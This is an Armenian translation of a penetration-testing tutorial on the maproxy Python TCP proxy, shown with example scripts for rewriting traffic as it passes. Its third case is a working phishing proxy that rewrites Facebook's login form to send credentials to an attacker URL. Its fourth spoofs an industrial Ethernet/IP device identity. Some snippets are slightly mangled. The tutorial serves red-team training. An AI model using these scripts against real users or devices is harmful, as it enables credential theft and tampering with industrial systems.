Մշակել ցանցի տվյալները թռիչքի ժամանակ

Հոդվածի թարգմանությունը պատրաստվել է դասընթացի մեկնարկի նախօրեին «Պենտեստ. Ներթափանցման փորձարկման պրակտիկա».

Մշակել ցանցի տվյալները թռիչքի ժամանակ

Վերացական

Անվտանգության գնահատման մի շարք տեսակներ՝ սկսած կանոնավոր ներթափանցման փորձարկումից և Red Team-ի գործողություններից մինչև IoT/ICS սարքերի և SCADA-ի կոտրումը, ներառում են երկուական ցանցային արձանագրությունների հետ աշխատելը, այսինքն՝ հաճախորդի և թիրախի միջև ցանցի տվյալների գաղտնալսումը և փոփոխումը: Ցանցային երթևեկությունը ներծծելը բարդ խնդիր չէ, քանի որ մենք ունենք գործիքներ, ինչպիսիք են Wireshark, Tcpdump կամ Scapy, բայց փոփոխությունը կարծես ավելի աշխատատար խնդիր է, քանի որ մենք պետք է ունենանք ինչ-որ ինտերֆեյս ցանցի տվյալները կարդալու, դրանք զտելու և փոխելու համար: այն արագորեն և գրեթե իրական ժամանակում հետ ուղարկեք թիրախային հյուրընկալողին: Բացի այդ, իդեալական կլիներ, եթե նման գործիքը կարողանա ավտոմատ կերպով աշխատել մի քանի զուգահեռ կապերով և հարմարեցնել սկրիպտների միջոցով:

Մի օր ես հայտնաբերեցի մի գործիք, որը կոչվում էր maproxy, փաստաթղթերն ինձ արագ հասկացրին, որ maproxy - հենց այն, ինչ ինձ պետք է: Սա բավականին պարզ, բազմակողմանի և հեշտությամբ կարգավորելի TCP պրոքսի է: Ես փորձարկեցի այս գործիքը մի քանի բավականին բարդ հավելվածների վրա, ներառյալ ICS սարքերը (որոնք առաջացնում են շատ փաթեթներ), որպեսզի տեսնեմ, թե արդյոք այն կարող է կարգավորել բազմաթիվ զուգահեռ կապեր, և գործիքը լավ է աշխատել:

Այս հոդվածը ձեզ կներկայացնի ցանցի տվյալների մշակման մասին՝ օգտագործելով maproxy.

Վերանայել

Գործիք maproxy հիմնված է Tornado-ի՝ Python-ի հայտնի և հասուն ասինխրոն ցանցային շրջանակի վրա:

Ընդհանուր առմամբ, այն կարող է գործել մի քանի ռեժիմով.

  • TCP:TCP - չգաղտնագրված TCP կապեր;
  • TCP:SSL и SSL:TCP - միակողմանի կոդավորումով;
  • SSL:SSL - երկկողմանի գաղտնագրում:

Այն գալիս է որպես գրադարան: Արագ մեկնարկի համար կարող եք օգտագործել օրինակ ֆայլեր, որոնք արտացոլում են հիմնականը գրադարանի գործառույթները:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Դեպք 1 – պարզ երկկողմանի վստահված անձ

Հիմնված tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

By default ProxyServer() վերցնում է երկու փաստարկ՝ կապի գտնվելու վայրը և թիրախային միացքը: server.listen() վերցնում է մեկ փաստարկ՝ մուտքային կապը լսելու պորտը:

Սցենարի կատարում.

# python tcp2tcp.py

Թեստը գործարկելու համար մենք պատրաստվում ենք միանալ տեղական SSH սերվերին մեր պրոքսի սկրիպտի միջոցով, որը լսում է. 2222/tcp նավահանգիստ և միանում է ստանդարտ պորտին 22/tcp SSH սերվերներ.

Մշակել ցանցի տվյալները թռիչքի ժամանակ

Ողջույնի դրոշակը տեղեկացնում է ձեզ, որ մեր օրինակի սցենարը հաջողությամբ ապահովեց ցանցային տրաֆիկը:

Դեպք 2 – տվյալների փոփոխություն

Մեկ այլ ցուցադրական սցենար logging_proxy.py իդեալական է ցանցային տվյալների հետ շփվելու համար: Ֆայլի մեկնաբանությունները նկարագրում են դասի մեթոդները, որոնք կարող եք փոփոխել ձեր նպատակին հասնելու համար.

Մշակել ցանցի տվյալները թռիչքի ժամանակ

Ամենահետաքրքիրն այստեղ է.

  • on_c2p_done_read – հաճախորդից սերվեր ճանապարհին տվյալների գաղտնալսման համար.
  • on_p2s_done_read - հակադարձված:

Փորձենք փոխել SSH դրոշակը, որը սերվերը վերադարձնում է հաճախորդին.

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Կատարեք սցենարը.

Մշակել ցանցի տվյալները թռիչքի ժամանակ

Ինչպես տեսնում եք, հաճախորդը մոլորության մեջ է ընկել, քանի որ նրա համար SSH սերվերի անունը փոխվել է «DumnySSH».

Մշակել ցանցի տվյալները թռիչքի ժամանակ

Դեպք 3 – պարզ ֆիշինգի վեբ էջ

Այս գործիքն օգտագործելու անվերջ եղանակներ կան: Այս անգամ եկեք կենտրոնանանք Կարմիր թիմի գործառնական կողմից ավելի գործնական բանի վրա: Եկեք ընդօրինակենք վայրէջքի էջը m.facebook.com և օգտագործեք հատուկ տիրույթ՝ միտումնավոր տառասխալով, օրինակ, m.facebok.com. Ցուցադրական նպատակներով, ենթադրենք, որ տիրույթը գրանցված է մեր կողմից։

Մենք պատրաստվում ենք չգաղտնագրված ցանցային կապ հաստատել մեր զոհերի վստահված անձի և SSL Stream-ի հետ Facebook սերվերին (31.13.81.36) Որպեսզի այս օրինակն աշխատի, մենք պետք է փոխարինենք HTTP հոսթի վերնագիրը և ներարկենք ճիշտ հոսթի անունը, ինչպես նաև կանջատենք պատասխանի սեղմումը, որպեսզի կարողանանք հեշտությամբ մուտք գործել բովանդակություն: Ի վերջո, մենք կփոխարինենք HTML ձևը, որպեսզի մուտքի հավատարմագրերը մեզ ուղարկվեն Facebook-ի սերվերների փոխարեն.

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/hy/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

In Summary:

Մշակել ցանցի տվյալները թռիչքի ժամանակ

Ինչպես տեսնում եք, մենք հաջողությամբ կարողացանք փոխարինել սկզբնական կայքը:

Դեպք 4 – Ethernet/IP տեղափոխում

Ես բավականին երկար ժամանակ զբաղվում եմ արդյունաբերական սարքերով և ծրագրերով (ICS/SCADA), ինչպիսիք են ծրագրավորվող կարգավորիչներ (PLC), I/O մոդուլներ, կրիչներ, ռելեներ, ladder ծրագրավորման միջավայրեր և շատ ավելին: Այս դեպքը նրանց համար է, ովքեր սիրում են արդյունաբերական իրեր։ Նման լուծումների կոտրումը ներառում է ակտիվորեն խաղալ ցանցային արձանագրությունների հետ: Հետևյալ օրինակում ես կցանկանայի ցույց տալ, թե ինչպես կարող եք փոփոխել ICS/SCADA ցանցի տրաֆիկը:

Դրա համար ձեզ հարկավոր կլինի հետևյալը.

  • Ցանցային sniffer, օրինակ, Wireshark;
  • Ethernet/IP կամ պարզապես SIP սարք, այն կարող եք գտնել Shodan ծառայության միջոցով;
  • Մեր սցենարը հիմնված է maproxy.

Նախ, եկեք տեսնենք, թե ինչպիսին է CIP-ի (Ընդհանուր արդյունաբերական արձանագրության) նույնականացման բնորոշ պատասխանը.

Մշակել ցանցի տվյալները թռիչքի ժամանակ

Սարքի նույնականացումն իրականացվում է Ethernet/IP արձանագրության միջոցով, որը արդյունաբերական Ethernet արձանագրության ընդլայնված տարբերակն է, որը փաթեթավորում է վերահսկման արձանագրությունները, ինչպիսիք են CIP-ը: Մենք պատրաստվում ենք փոխել ընդգծված ID անունը, որը տեսանելի է սքրինշոթում «NI-IndComm Ethernet-ի համար» օգտագործելով մեր վստահված անձի սկրիպտը: Մենք կարող էինք նորից օգտագործել սցենարը logging_proxy.py և նմանապես փոփոխեք դասի մեթոդը on_p2s_done_read, քանի որ մենք ցանկանում ենք, որ հաճախորդի վրա տեսանելի լինի ինքնության այլ անուն:

Կոդ `

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Ըստ էության, մենք երկու անգամ խնդրեցինք սարքի նույնականացում, երկրորդ պատասխանը սկզբնականն էր, իսկ առաջինը փոփոխվեց թռիչքի ժամանակ:

Եվ վերջինը

Իմ կարծիքով maproxy Հարմար և պարզ գործիք, որը գրված է նաև Python-ով, այնպես որ, կարծում եմ, որ դուք նույնպես կարող եք օգտվել դրանից: Իհարկե, կան ցանցային տվյալների մշակման և փոփոխման ավելի բարդ գործիքներ, բայց դրանք նաև ավելի մեծ ուշադրություն են պահանջում և սովորաբար ստեղծվում են հատուկ օգտագործման դեպքի համար, օրինակ. Մուրաենա, Մոդլիշկա կամ evilginx երրորդի նման դեպքերի համար, կամ կանապե վերջին դեպքի համար. Այսպես թե այնպես՝ օգնությամբ maproxy Դուք կարող եք արագ իրականացնել ձեր գաղափարները ցանցային տվյալների գաղտնալսման համար, քանի որ օրինակի սցենարները շատ պարզ են:

Windows AD-ում նույնականացման մեխանիզմների փորձարկում

Source: www.habr.com

Добавить комментарий